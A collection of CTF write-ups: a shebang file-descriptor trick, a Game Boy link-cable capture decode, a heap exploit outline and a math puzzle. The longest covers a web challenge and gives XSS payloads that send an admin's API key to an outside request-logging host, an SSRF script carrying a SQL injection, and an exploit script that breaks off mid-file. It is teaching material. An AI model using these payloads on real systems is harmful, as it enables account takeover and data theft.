print("#!/d", end="") data = os.read(0, 0x10) os.close(0) check_input(data)
fd = os.open(path, os.O_CREAT | os.O_RDWR, 0o777) os.write(fd, b'#!/d' + data) os.close(fd)```
After that, it forks and the child calls `execv` on our new temp file.
```python pid = os.fork() if pid == 0: os.setresgid(NOGROUP, NOGROUP, NOGROUP) os.setresuid(NOBODY, NOBODY, NOBODY) try: os.execv(path, [path]) except: os._exit(-1)```
Since the string always starts with `#!/d`, we need to use what we can under `/dev`.
```kali@kali:~/Downloads$ ls /devautofs full port snapshot tty17 tty31 tty46 tty60 vcs vcsublock fuse ppp snd tty18 tty32 tty47 tty61 vcs1 vcsu1bsg hidraw0 psaux sr0 tty19 tty33 tty48 tty62 vcs2 vcsu2btrfs-control hpet ptmx stderr tty2 tty34 tty49 tty63 vcs3 vcsu3bus hugepages pts stdin tty20 tty35 tty5 tty7 vcs4 vcsu4cdrom initctl random stdout tty21 tty36 tty50 tty8 vcs5 vcsu5char input rfkill tty tty22 tty37 tty51 tty9 vcs6 vcsu6console kmsg rtc tty0 tty23 tty38 tty52 ttyS0 vcs7 vcsu7core log rtc0 tty1 tty24 tty39 tty53 ttyS1 vcsa vfiocpu_dma_latency loop-control sda tty10 tty25 tty4 tty54 ttyS2 vcsa1 vga_arbitercuse mapper sda1 tty11 tty26 tty40 tty55 ttyS3 vcsa2 vhcidisk mem sda2 tty12 tty27 tty41 tty56 uhid vcsa3 vhost-netdri mqueue sda5 tty13 tty28 tty42 tty57 uinput vcsa4 vhost-vsockdvd net sg0 tty14 tty29 tty43 tty58 urandom vcsa5 zerofb0 null sg1 tty15 tty3 tty44 tty59 vboxguest vcsa6fd nvram shm tty16 tty30 tty45 tty6 vboxuser vcsa7kali@kali:~/Downloads$ ls /dev/fd0 1 2 3```
We should be able to do something with fd 3 (`/bin/bash`) and fd 9 (`./flag`).
## Solution
After a bit of trial-and-error, this is what I ended up with:
```python#!/usr/bin/python3from pwn import *
#context.log_level='DEBUG'#p = process(['./shebang.py'])#p = process(['ncat', 'localhost', '1024'])p = process(['ncat', '--ssl', '7b00000060bf195c66261d67.challenges.broker5.allesctf.net', '1337'])p.recvuntil('#!/d')p.sendline('ev/fd/3\ncat <&9')flag = p.recvline().rstrip()print(flag)```
That will use the open file descriptors to create and execute the equivalent of this bash script:
```bash#!/bin/bashcat ./flag```
Run it against the remote service and we get our flag:
```kali@kali:~/Downloads$ ./shebang_solve.py [+] Starting local process '/usr/bin/ncat': pid 23080b'ALLES{reusing_filedescriptors_saves_resources}'``` |
Custom random number generator- Goal: Predict 15 dice rolls (1-6 each)- Rolls can be made locally and piped to CTF server- Time needs to be synced (generator based on time) |
# PWNkemon
### Challenge Text
> The picture should explain everything.> Careful, flag format is in a different format: `CSCG(...)`
### Challenge Work
First, lets unzip the challenge packet:
```bash/tmp % unzip pwnkemon.zipArchive: pwnkemon.zip inflating: pwnkemon.jpg inflating: pwnkemon.logicdata```
Second, lets look at the picture -
We see a logic analyzer attached to a GameBoy Link cable. We can see that the guide behind the Gameboys says PokΓ©mon. We can probably assume we will be looking at a logic capture of a PokΓ©mon trade.
We open the `.logicdata` file in the free demo of Saleae and we can confirm that it is a capture of four digital channels. We can also determine, from Google, that the Gameboy Link Cable uses SPI as a protocol. Saleae has a built in SPI decoder. After messsing with the settings we got some hexadecimal information to display.
Here is the SPI settings we used:
We then went into Saleae and set a marker around where the file opened up naturally (around 92ms). We then enabled the SPI alayzer and then we saw things like this:
After this we exported the two channels to a CSV, keeping only the hexadecimal values. (See `spi.csv`)
We noticed these bytes did not decode into anything legible. At first we were stumped, then I had the thought to Google if the generation one PokΓ©mon games used their own special encoding. It turns out they do. (You can read more [here](https://bulbapedia.bulbagarden.net/wiki/Character_encoding_in_Generation_I) if you are interested.)
For each byte that we get from the capture we take the first character and select that corresponding row, then we take the second character and select that corresponding column.
I took this chart and made it into a CSV of its own, replacing all of the `NULL` ,`Junk`, `Control`, or `Text box` characters with `*` . (See `gen_chars.csv`)
I then wrote a script to display the generated translations. I tried the MOSI first, but that was not right. Then I tried the MISO and that gave us our flag.
```pythonimport pandas as pd
chars_df = pd.read_csv("./gen_chars.csv")spi_df = pd.read_csv("./spi.csv")
bytes_map = { "0": 0, "1": 1, "2": 2, "3": 3, "4": 4, "5": 5, "6": 6, "7": 7, "8": 8, "9": 9, "A": 10, "B": 11, "C": 12, "D": 13, "E": 14, "F": 15}
def get_gen_char(byte_string): byte_one = byte_string[2] byte_two = byte_string[3] char_row = bytes_map[byte_one] return chars_df.iloc[char_row][byte_two].strip() mosi_list = spi_df.MOSI.tolist()miso_list = spi_df.MISO.tolist()
try_word = []
for char in miso_list: try: try_word.append(get_gen_char(char)) except: pass print("".join(try_word))```
```[..........]CSCG(GONNA*-hack-em-A*ll-PWNkemo*n!!!)[..........]```
I removed the `*`'s from the string for the final true flag of: `CSCG(GONNA-hack-em-All-PWNkemon!!!)`
#### Bonus
Here is what the MISO and MOSI trade data looked like. Can you figure out which two they traded? [Here](https://docs.google.com/file/d/0B6wYRqisBsFfVkhBSmNlUEFVUEE/edit) is an example trade, showing the bytes. ([Here](http://www.adanscotney.com/2014/01/spoofing-pokemon-trades-with-stellaris.html) is the source.)
**MISO**
```****AAAAAAAAAAAAA****************************************************8AAAAAAAAAAAAA************77777777y**p**x*β*777777777DRACON********I*qA9************γ₯γ*wiVkL'tSWSdVW*R********'s*****9*******9**;Zγ₯γ*y*HKI'sHuHpHD*:********MN***C*YI*7*******C*γ₯γ**βΆE*EaE*E*E*γ'r******7*b*X***.**3*****K:F*γ₯γ*y*HβICI*H*Gs*β―******3*[*U*βΆ**q***********m*****r*****)**:O***************A*B****'t****γ₯γ*MB**********e******B********DRACON*****DRACON*****DRACON*****DRACON*****RED*ASH*JACDRACON*****CSCG(GONNA*-hack-em-A*ll-PWNkemo*n!!!)******CHARMANDER*GOLDUCK****9]*7777********99*******************************************************************************************************************************************************************************************AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA**********CCCCCCCCCCCCC**********CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC**********CCCCCCCCCCCCC************77777777*********E777777777DRACON*******I*qAf9*******9**;Zγ₯γ*y*HKI'sHuHpHD*:********MN***C*YI*7*******C*γ₯γ**βΆE*EaE*E*E*γ'r******7*b*X***.**3*****K:F*γ₯γ*y*HβICI*H*Gs*β―******3*[*U*βΆ**q***********m*****r*****)**:O***************A*B****'t****γ₯γ*MB**********e******B********f******9**C*m***********C*u*****************DRACON*****DRACON*****DRACON*****RED*ASH*JACDRACON*****RED*ASH*JAC-hack-em-A*ll-PWNkemo*n!!!)******CHARMANDER*GOLDUCK****RATTATA****9]*7777*******99********************************************************************************************************************************************************************************************γ
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**********γ
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************77777777*β·'dL****zV777777777DRACON*******I*qAf9*******9**;Zγ₯γ*y*HKI'sHuHpHD*:********MN***C*YI*7*******C*γ₯γ**βΆE*EaE*E*E*γ'r******7*b*X***.**3*****K:F*γ₯γ*y*HβICI*H*Gs*β―******3*[*U*βΆ**q***********m*****r*****)**:O***************A*B****'t****γ₯γ*MB**********e******B********f******9**C*m***********C*u*****************DRACON*****DRACON*****DRACON*****RED*ASH*JACDRACON*****RED*ASH*JAC-hack-em-A*ll-PWNkemo*n!!!)******CHARMANDER*GOLDUCK****RATTATA****9]*7777*******99********************************************************************************************************************************************************************************************AAAAAAAAAAAAA**********CCCCCCCCCCCCC**********CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC**********CCCCCCCCCCCCC************77777777β**W*y*MN**777777777DRACON******I*qAf*9I*7*******C*γ₯γ**βΆE*EaE*E*E*γ'r******7*b*X***.**3*****K:F*γ₯γ*y*HβICI*H*Gs*β―******3*[*U*βΆ**q***********m*****r*****)**:O***************A*B****'t****γ₯γ*MB**********e******B********f******9**C*m***********C*u************************9****m*****?*k*4***γA****************DRACON*****DRACON*****RED*ASH*JACDRACON*****RED*ASH*JACRED*ASH*JACll-PWNkemo*n!!!)******CHARMANDER*GOLDUCK****RATTATA****PIDGEY*****9]*7777*******99********************************************************************************************************************************************************************************************AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA**********CCCCCCCCCCCCC**********CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC**********CCCCCCCCCCCCC************77777777****Ae*.**777777777DRACON*******qAf**9**3*****K:F*γ₯γ*y*HβICI*H*Gs*β―******3*[*U*βΆ**q***********m*****r*****)**:O***************A*B****'t****γ₯γ*MB**********e******B********f******9**C*m***********C*u************************9****m*****?*k*4***γA**************************:*γ₯γ**βΆH*I*HdV*I*************(****DRACON*****RED*ASH*JACDRACON*****RED*ASH*JACRED*ASH*JACDRACON*****n!!!)******CHARMANDER*GOLDUCK****RATTATA****PIDGEY*****MAGMAR*****9]*7777*******99********************************************************************************************************************************************************************************************AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA**********CCCCCCCCCCCCC**********CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC**********CCCCCCCCCCCCC************77777777Iβ*GUew**0777777777DRACON******qAf**D9q***********m*****r*****)**:O***************A*B****'t****γ₯γ*MB**********e******B********f******9**C*m***********C*u************************9****m*****?*k*4***γA**************************:*γ₯γ**βΆH*I*HdV*I*************(****D*******B*FVγ₯γ*wiGSIγF*V*V*Ag********βΆ******RED*ASH*JACDRACON*****RED*ASH*JACRED*ASH*JACDRACON*****DRACON*****CHARMANDER*GOLDUCK****RATTATA****PIDGEY*****MAGMAR*****MEWTWO*****9]*7777*******99********************************************************************************************************************************************************************************************γ
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**********γ
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************77777777J*'l****O**777777777DRACON******qAf**D9q***********m*****r*****)**:O***************A*B****'t****γ₯γ*MB**********e******B********f******9**C*m***********C*u************************9****m*****?*k*4***γA**************************:*γ₯γ**βΆH*I*HdV*I*************(****D*******B*FVγ₯γ*wiGSIγF*V*V*Ag********βΆ******RED*ASH*JACDRACON*****RED*ASH*JACRED*ASH*JACDRACON*****DRACON*****CHARMANDER*GOLDUCK****RATTATA****PIDGEY*****MAGMAR*****MEWTWO*****9]*7777*******99********************************************************************************************************************************************************************************************γ
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*********```
**MOSI**
```**88AAAAAAAβAAAAA***********9*898.*****************8******8*********8A8*AA*AAAAβAA**********77797779777**w*]*L*A**787778R*D*A*H*J*C*fe*D9A*f******9**C*m***********C*,**d*********************9****m*****?*k*8***γA************************v*γ*γ₯γ**βΆβ*I*γdVk***********A**(************B*FV4**wyHSIG*γ‘*I**w******v*βΆ**********************************************************************************************RED*ASH*JACQE**ASH*IA*DRA*ON******ZAC*N***************************QAT)AT*β***HID*EY**γ***AHM*Z*****M*(TW****β************************Q**78777*******99********************************************************************************************************************************************************************************************9888889888889888*888888888*888889889889889889889889888888*88*88*89888888888888898888898998898898898898β9AAAAAAAAA**********88CCCCDCβCCβDCβ**********8889889889888889889889888*8888888889989C8CβDCβDCCC**********88C8CβCCβDCCCCC**********77777779777***β(t*5**7797779RED*A*H*J*C***D*9A********9****m*A***?*k*4****A*****************B*******'d**γ₯***βΆh*I*HdV*I***P***β―***PK*(*γ‘**D***A***B*GVγ₯γ*w.γTIγβ―*VY**A********Aβ******S*******A**T4**wqIk*'tLWStVW*Z******u*'s*/***9****************************************************************************************R*D*A*H*J*CDR*CON*****BRACON*****DRACGO***************************PI*CEYβ***βOAG*AR*A****GW*WP**A***(DG*GPN*A************************Q*797779*******q99*******************************************************************************************************************************************************************************************8*8888888989889889889888*88*8888988888889888889888*88*8888888889888889889888*8888888888889889889889889*89888*8888889889889888*8898888988889889888889888*888898888*889888889888888*88*8888888898889889889889*8888888888889889889889888988*8888888888889989888889*89*8888889888889888889889888*8889888889899889889888*888888888989988988988998888888888889889889889888*898888888988888988*889888*88*888888888888*889889888*8888889889889889889888888*8888888γ
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**********```
|
We know we have to execute the ALLES() function. But the input is converted to lowercase.
Executing the function is done by assigning eval("alles()") to the existing 'a' variable. To get the string to uppercase, we can use`eval('a'.title()+'l'.title()+'l'.title()+'e'.title()+'s'.title()+'()')`To verify this, it can be wrapped in a print() or 'a' can be printed after the eval has been run.
Sending any data as a parameter results in a string being returned that is directly related to the input. Going through all the available options (~30 char strings of a-z and 0-9 excluding banned chars) we see that with the string of 3's gets us what looks like a flag.
Tweaking the string a bit until we get the expected ALLES{ prefix, we see a pattern developing. Continuing this 133713371337 pattern for the string gets us the complete flag. |
Custom heap with random offset of allocated chunks- Goal: Exploit binary- Chunks may overlap- Offsets can be predicted (custom PRNG)- Leak heap address- Leak image base address- Overwrite function pointer with system- Trigger system("/bin/sh") |
# Prefix Sums
## Problem Statement
Attached to the problem is a pdf of the problem statement. The pdf can be viewed and downloaded [here](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/Problem_Statement.pdf).
## Problem BreakdownOur first step is to read the problem and fully understand the meaningful information.
Let's break down the problem. The first sentence explains that we have some sequence of *N* elements consisting of 0's and 1's. Then, the definition of a prefix sum is defined where S<sub>k</sub> is the sum of the first *k* elements within the sequence. Since the sequence only contains 0's and 1's, S<sub>k</sub> is pretty much the number of 1's in the first *k* characters of the sequence. Next, we are told that there are *p* 0's within the sequence. The variables *N* and *p* are now defined within the context of this problem.
Next, we are given the important property which helps us determine the probability. We are trying to test if the sequence passes the condition that "2S<sub>k</sub> - *k* > 0 β*k* between 1 and *N*" (Note β means "for all"). Let's simplify this. We can move *k* and the coefficient factor of 2 to the other side to get the equivalent inequality of "S<sub>k</sub> > *k*/2". So, the numerator will be the number of sequences which fulfill the conditions and the denominator will be the total number of possible sequences of length *N* and *p* 0's.
The last sentence in this section indicates that *p* < (*N*-*p*). This is necessary because if *p* >= (*N*-*p*), then when *k* = *N*, the condition is not satisfied and the total probability is 0.
In the second section, we are told how to get the flag. We must simplify the fraction to its simplest terms. We take the numerator and denominator and append the two together as strings. Then, we convert this value to hex and put it into the flag format. We are given a hash to confirm our solution.
(**TL;DR**: We are tasked to find the probability that a binary sequence of length *N* containing *p* 0's meets a given condition. We must find the simplest fractional representation of the probability and manipulate it to form the flag.)
It is important to note that *N* > 10<sup>18</sup> and *p* > 10<sup>14</sup>. Therefore, a solution that runs within a reasonable time must have a runtime of O(1), O(lg *p*), or O(lg *N*). Worst case if we can't find an efficient solution, we will have to find an O(*p*) solution which would run for over 36 hours but less 60 hours (may fall within the bounds of the contest, a 72 hour event).
## Determining RelationshipsNow that we understand the problem, our next step is to start writing out some cases and recognizing any relationships or patterns between the variables and valid sequences.
### Relationship between *N* and No. of Valid Sequences<sup>Note: Because of the rapidly growing sizes of the number of possible binary sequences, the writeup will feature images which only show the cases with *N* going up to size 5. Check out [this pdf](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/Brute_Force_Conditions_Analysis.pdf) for cases where *N* goes up to size 7.</sup>
Let's start out by creating a table of all the possible binary sequences given different values of *N*. Here is the [table](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/List%20of%20Sequences.png) of cases when *N* is size 1 to 5.
Let's highlight in yellow the cases which satisfy the condition "2S<sub>k</sub> - *k* > 0" when *k* = *N*. We know that this is equivalent to "S<sub>k</sub> > *k*/2" and S<sub>k</sub> is the number of 1's. So, we will highlight a sequence if it contains more than *N*/2 1's. This is our [result](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/Satsify%20Condition%20for%20Size%20k.png)
Of course, the problem is asking for sequences which satisfy "2S<sub>k</sub> - *k* > 0" for all *k* values, not just when *k* = *N*. We have marked all the conditions which work when *k* = *N* so we can ignore the uncolored cases. To confirm whether a sequence matches the condition for all *k* < *N*, we will check if all of its "prefixes" are marked as yellow from the previous step. We will highlight the sequence green if it is a valid sequence for all *k*. Here is the [table](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/Brute_Force_Conditions_Analysis.png) of valid binary sequences.
Now, we can count up the number of valid sequences for each *N* up to *N* = 5 (7 in the pdf). We have now created 2 sequences of numbers which we can look up on the On-Line Encyclopedia of Integer Sequences (OEIS) and help us extrapolate the values for future steps when needed. The sequence id's are attached to the end of their corresponding rows. The sequence which matters to us is the green one, id: A001405, as that describes the number of valid sequences for a given size. According to OEIS, the number of valid sequences for a size *N* can be defined by a function, f(*N*) = binomial(*N*, floor(*N*/2)).
### Relationship between *N*, *p*, and No. of Valid SequencesIn the last step, we found the function which describes the number of valid sequences for any given size *N*. Let's break it down further and calculate the number of valid sequences for any given size *N* containing *p* zeroes (this is going to be the numerator of the probability).
From the previous table of all possible binary sequences, we can go through each green sequence and count up how many zeroes the string contains. This counts as one valid sequence for its corresponding size and its corresponding number of 0s'. We will do this for each of the green sequences and this will help us create a table where the value at the *j*th column and *i*th row denotes the number of valid sequences of size *j* containing *i* 0's.
Here is the [table](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/Brute_Force_Probabilities_Table.pdf) (highlighted in purple) containing the number of valid sequences for the first 12 possible sizes *N* and the first 6 possibilities of *p*.
From this table, we can notice several patterns. The simplest pattern to recognize is the fact for some random cell in row *i* and column *j*, the value in the cell is equivalent to the sum of its adjacent cell to the left and the cell above that one (the up-left cell). While this does find the correct numerator for the probability, it is implausible to implement this as a solution for the given inputs as it would require O(*Np*) memory and runtime. Since we are looking for a more efficient solution, we should look for patterns which define a row or column. If some function or equation could be determined for each row or column, we may be looking at an O(*N*) or O(*p*) solution which may guide us closer to an efficient solution.
Another simple pattern we recognize is the fact that when *p* = 0, there is only one valid sequence regardless of *N*. When *p* = 1, the number of valid sequences seems to be counting up by 1. It is harder to recognize patterns for the next few rows. We can look up each of he sequences on OEIS and determine if there are any functions which define each row. We will denote these functions as a(n) as used by OEIS. So, when *p* = 0, we have sequence A000012 and a(n) = 1. When *p* = 1, we have sequence A000027 and a(n) = n. However, in the table, the sequence is shifted to the right by 2 so n = size-2. For *p* = 2, we have sequence A000096 and a(n) = n(n+3)/2. In the table, the sequence is shifted to the right by 4 so n = size-4. For *p* = 3, we have sequence A005586, a(n) = n(n+4)(n+5)/6, and n = size-6. We have sequence A005587, a(n) = n(n+5)(n+6)(n+7)/24, and n = size-8 for *p* = 4. And finally, for *p* = 5, we have sequence A005557 and a(n) = n(n+6)(n+7)(n+8)(n+9)/120. This is shifted to the right by 10 in the table so n = size-10.
Let's substitue in n for the size to make them easier to work with. For *p* = 0, we have a(size) = 1. For *p* = 1, we have a(size) = size-2. For *p* = 2, we have a(size) = (size-4)(size-1)/2. For *p* = 3, we have a(size) = (size-6)(size-2)(size-1)/6. For *p* = 4, we have a(size) = (size-8)(size-3)(size-2)(size-1)/24. For *p* = 5, we have (size-10)(size-4)(size-3)(size-2)(size-1)/120. From here, we start to notice some patterns. In the numerator, we seem to have a first term of size-2*p*. Then, we have (size-*p*), (size-(*p*-1)), (size-(*p*-2)), and so on until (size-1). This is equivalent to (size-1)!/(size-*p*)!. In the denominator, we have *p*!. By putting this all together, we get (size-2*p*)(size-1)! in the numerator and (size-*p*)!(*p*)! in the denominator.
In this function, the largest factorial is (size-1)! and the runtime to calculate this would be O(*N*-1). In addition, *N* goes up to 10<sup>18</sup> so it would require large amounts of memory to store the factorial values. Thus, if we were to implement this function to calculate the number of valid cases for some given size *N* containing *p* 0's, this function may still be too slow and the numbers may get too large.
Going back to the table, there does not seem to be any patterns for each individual column so we seem to have found the most efficient way to calculate the numerator of the probability. Of course, we still have to calculate the denominator of the probability and that may help us find a better solution or find some simplifications.
### Relationship between *N*, *p*, and Total No. of SequencesThe denominator of the probability is the total number of sequences given size *N* and *p* 0's. Let's go back to the first table with the exhaustive list of all binary sequences. We will go through each of the sequences and count up how many zeroes the string contains. This will help us create a table where the value at the *j*th column and *i*th row denotes the number of sequences of size *j* containing *i* 0's.
Here is the [table](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/Brute_Force_Probabilities_Table.pdf) (highlighted in orange) containing the number of sequences for the first 12 possible sizes *N* and the first 6 possibilities of *p*.
Entering each row into OEIS, we discover that the function which describes each row is binomial(n, row). In this case n = size and row = *p*. Thus, the function which describes the total number of sequences is binomial(size, *p*).
According to the binomial theorem, binomial(n, r) = n! / r!(n-r)!.
So, the denominator of the probability is size! / (*p*)!(size-*p*)!.
### Combining and Simplifying the Probability
In the numerator, we have (size-2*p*)(size-1)! / (size-*p*)!(*p*)!. In the denominator, we have size! / (*p*)!(size-*p*)!. Dividing fractions is equivalent to multiplying the first fraction by the reciprocal of the second. So, the probability is (size-2*p*)(size-1)!(*p*)!(size-*p*)! / (size-*p*)!(*p*)!(size)!. We can see that (*p*)! and (size-*p*)! are found in both the numerator and the denominator and cancel out. We now have (size-2*p*)(size-1)! / (size)!. We know that (size)! is equivalent to size \* (size-1)! and so we can rewrite the probability as (size-2*p*)(size-1)! / (size)(size-1)!. The two (size-1)! terms cancel out and we are left with (size-2*p*) / (size).
Taking a look at what we have, the probability which we are trying to find can be found in O(1) time! This is very fast and will clearly find our answer within seconds.
## Writing Code to Get the Flag
We now have an O(1) solution to getting the probability. Since the numbers are very large, we will use python for our solution. As denoted in the problem statement, we'll name the numerator *a* and the denominator *b*. Let's start writing our *get_flag()* function. We'll create a file called *prefix_sums.py*.
```def get_flag(n, p): a = n-2*p b = n```
Next, the problem statment tells us that we need to simplify our fraction to the simplest terms, such that the GCD of *a* and *b* is 1.
```from math import gcd
def get_flag(n, p): a = n-2*p b = n
factor = gcd(a, b)
a = a//factor b = b//factor
print("simplified fraction:\t\t" + str(a) + "/" + str(b))```
We can use the gcd function in the math library to help us simplify our fraction by fiding the common divisor then dividing both *a* and *b* by that common divisor. We can print it out to confirm that the fraction looks correct.
Next, we need to concatenate *a* and *b* together as strings. We need to convert that string to decimal and then convert it to hex. Last, we need to enclose the hex value by the flag format.
```from math import gcd
def get_flag(n, p): a = n-2*p b = n
factor = gcd(a, b)
a = a//factor b = b//factor
print("simplified fraction:\t\t" + str(a) + "/" + str(b))
dec = int(str(a) + str(b)) flag = "flag{" + hex(dec) + "}"
print("flag:\t\t\t\t" + flag)```
This is the code to form the flag string.
In the problem statement, we were also given the md5 hash of the flag. We can use the md5 encoding function in the hashlib function to help us confirm that we have found the correct flag.
```from math import gcdimport hashlib
def get_flag(n, p): a = n-2*p b = n
factor = gcd(a, b)
a = a//factor b = b//factor
print("simplified fraction:\t\t" + str(a) + "/" + str(b))
dec = int(str(a) + str(b)) flag = "flag{" + hex(dec) + "}"
print("flag:\t\t\t\t" + flag)
hash = hashlib.md5(flag.encode()).hexdigest()
if hash == "6046f30cf9e942ed47c88621a69ed0b2": print("flag is correct. hash:\t\t" + hash) else: print("flag is incorrect. hash:\t" + hash)```
Our *get_flag()* function is now complete.
We can set *N* and *p* to the values we are given and call the *get_flag* function() to get our final result. Append the following lines and our code is complete.
```n = 3141592653589793238p = 101124131231734get_flag(n, p)```
Here is the official [prefix_sums.py](https://github.com/csn3rd/ByteCTFAlgoWriteup/blob/master/prefix_sums.py) for easy view and download.
We can run our code by traversing to the directory of our code in terminal / command prompt. Type in the command `python3 prefix_sums.py` and we receive our flag.
**Flag**: `flag{0xbd10c864dce5299aadd5b7aac2124eb}` |
# Where is my cash Writeup (medium, 2 solves)
The [Official writeup shared here](https://gist.github.com/l4yton/da9232b992454b429c93af0d05a1fe2f), the trick for getting the admin key was to force the browser to use the... cache. I've updated this writeup to include this part of the exploit because mine varies in how I do the XSS and exfill the actual flag.
## The Exploit Chain
This is how the exploit chain works, sadly I wasn't able to get the api_key during the CTF but have updated this writeup to include it after the official writeup was shared, and confirmed my other steps work.
1. XSS the Admin to steal its `api_key`2. Send malicicous PDF using SSRF from the JavaScript to `/1.0/admin/createReport`. This is necessary because the caller of the next API must be from `127.0.0.1`.3. The JavaScript makes a request to `/internal/createTestWallet` which is SQLi vulnerable.4. The SQLi creates a wallet for our account and pulls the flag from another wallet.5. View the flag on the /wallets page when logged in.
## Cross-Site Scripting (XSS)
The application places the query param `api_key` in the DOM like so:
```js <script> const API_TOKEN = "{{{ token }}}"; </script>```
The backend applies some small filters to it, which we can work around.
```js return req.query.api_key.replace(/;|\n|\r/g, "");```
The simplest approach is to have a payload like `api_key="</script><script>PAYLOAD HERE` and this works locally, but fails when triggering it against the remote server. By runningthe server locally I was able to confirm the Chromium's XSS Auditor is blocking this, so I needed another way.
Our payload looks like this instead `api_key="%2BEXPLOIT//`. We _intentionally_ include the URIencoded version of `+` there, and we'll need to URI encode the whole param once more before using it.This was another gotcha with making the admin visit. Because it gets decoded when we submit it to theserver, it then passes it in as a string with a `+` to visit, and the plus is treated as a space anddoesn't show up in the rendered output, thus we get a syntax error and it fails. When all is as expected,we get it to render like so.
```js <script> const API_TOKEN = ""+EXPLOIT_HERE//"; </script>```
This is somewhat restrictive because you can't do `=` in the exploit easily and cannot use `;`,but we can also work around this by wrapping each line of our exploit in a function, iterate over it,and call each function. This can be seen in the exploit script itself, but it ends up basically lookinglike this, and we can share state between calls using the global window.
```jsconst API_TOKEN = ""+[() => { window.x = 1 }, () => { console.log(x+1) }].forEach(f => f())//";```
A POC of the basic form of this can be seen locally with this URL, but note that we don't do the double encoding of `+`because we want it to trigger in our browser so we can iterate on it.
```https://wimc.ctf.allesctf.net/?api_key=%22%2Balert%28%22hi%22%29%2F%2F```
### Making the Admin Visit
We submit the support form on https://wimc.ctf.allesctf.net/support with the XSS'd URL. You can test this like so:
1. Create a [Postbin](https://postb.in) to log requests2. Modify this URL to include your Postbin IDs `https://wimc.ctf.allesctf.net/?api_key=%22%252Bwindow.location.replace%28%22https%3A%2F%2Fpostb.in%2F1599338333507-1126356946770%22%29%2F%2F`3. Submit the form on https://wimc.ctf.allesctf.net/support4. Refresh the Postbin to see the request.
### Getting the API Key
From the official writeup, the intended solution was to force the browser to load the admin user from the cache, which allows us to get their API key. In my exploit code this looks like so:
```javascriptwindow.requestbin = "https://postb.in/1599419937004-0317174713127?data="fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET", cache:"force-cache"}).then(a => a.json()).then(b => location.href=requestbin%2BJSON.stringify(b))```
Another user on IRC, Webuser4344, shared an alternate way they were able to get the flag. In my exploration I was somewhat close to this and attempting to use iframes to do something similar, but didn't get it all the way there. Here's how it worked:
1. The first XSS payload opens a new window2. In the second window, call `window.opener.history.back()` to navigate back to the page with api_key in the url3. Read the URL `window.opener.location.href` and exfil it.
## Server-Side Request Forgery (SSRF)
Once we have the `api_key`, we can authenticate as the admin and call the `/1.0/admin/createReport` endpoint whichallows us to upload arbitrary HTML which it will render as a PDF and then return to us. We can include a `<script>`in our HTML and use that to trigger the SSRF. The HTML we submit looks like so:
```html<script>var data = "balance=1, 'TESTING WALLET 1234'), ('1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1)); #"
var http = new XMLHttpRequest();http.open('POST', 'http://127.0.0.1:1337/internal/createTestWallet', true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.send(data);</script>```
## The SQLi
The implementation of the `/internal/createTestWallet` endpoint interpolates in the balance parameter directly into the query like so:
```jsvar balance = req.body["balance"] || 1337;var ip = req.connection.remoteAddress;
if (ip === "127.0.0.1") { // create testing wallet without owner var wallet_id = crypto.randomBytes(20).toString('hex').substring(0,20); connection.query(`INSERT INTO wallets VALUES ('${wallet_id}', NULL, ${balance}, 'TESTING WALLET 1234');`, (err, data) => {```
The flag itself is stoed as the note for a wallet owner by a different user, so we can have the SQLi create a new wallet for our account, and set the note to the flag from the other wallet. The appliction never exposes our user_id to us, so we also use a subquery to select our account. This way we can see it on our wallets page after the injection runs.
The query itself looks like this, with newlines added for clarity. One issue that came up with MySQL is that it doesn't like you selecting from the same table (`wallets`) you are inserting into, but by aliasing it to `w` we make this error go away.```sqlINSERT INTO wallets VALUES ('${wallet_id}', NULL, 1, 'TESTING WALLET 1234'), ( '1', (select user_id from general where username='tpurp' limit 1), 1, (select note from wallets w where owner_id='13371337-1337-1337-1337-133713371337' limit 1) ); #, 'TESTING WALLET 1234```
## The Flag
Once this runs, we simply need to log into the application, view the wallets page, click on wallet #1, and the flag will be on the page!
## Exploit Script
```python#!/usr/bin/env python3import sysimport requestsfrom urllib.parse import urlencode, quote_plus
"""USAGE:Exploit a local server, this works because I locally removed recaptcha and modified some ofthe static scripts to reference the local server. python3 zexploit.py LOCAL
Generate the XSS'd url for the remote server. We can't auto-exploit it because of recaptcha. python3 zexploit.py REMOTE"""
if len(sys.argv) > 1 and sys.argv[1] == "REMOTE": REMOTE = Trueelse: REMOTE = False
if REMOTE: BASE_URL = "https://wimc.ctf.allesctf.net/" ADMIN_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0" API_BASE_URL = "https://api.wimc.ctf.allesctf.net/1.0"else: # BASE_URL = "http://localhost:10002" BASE_URL = "http://app:1337" ADMIN_BASE_URL = "http://localhost:10003/1.0" API_BASE_URL = "http://localhost:10001/1.0"
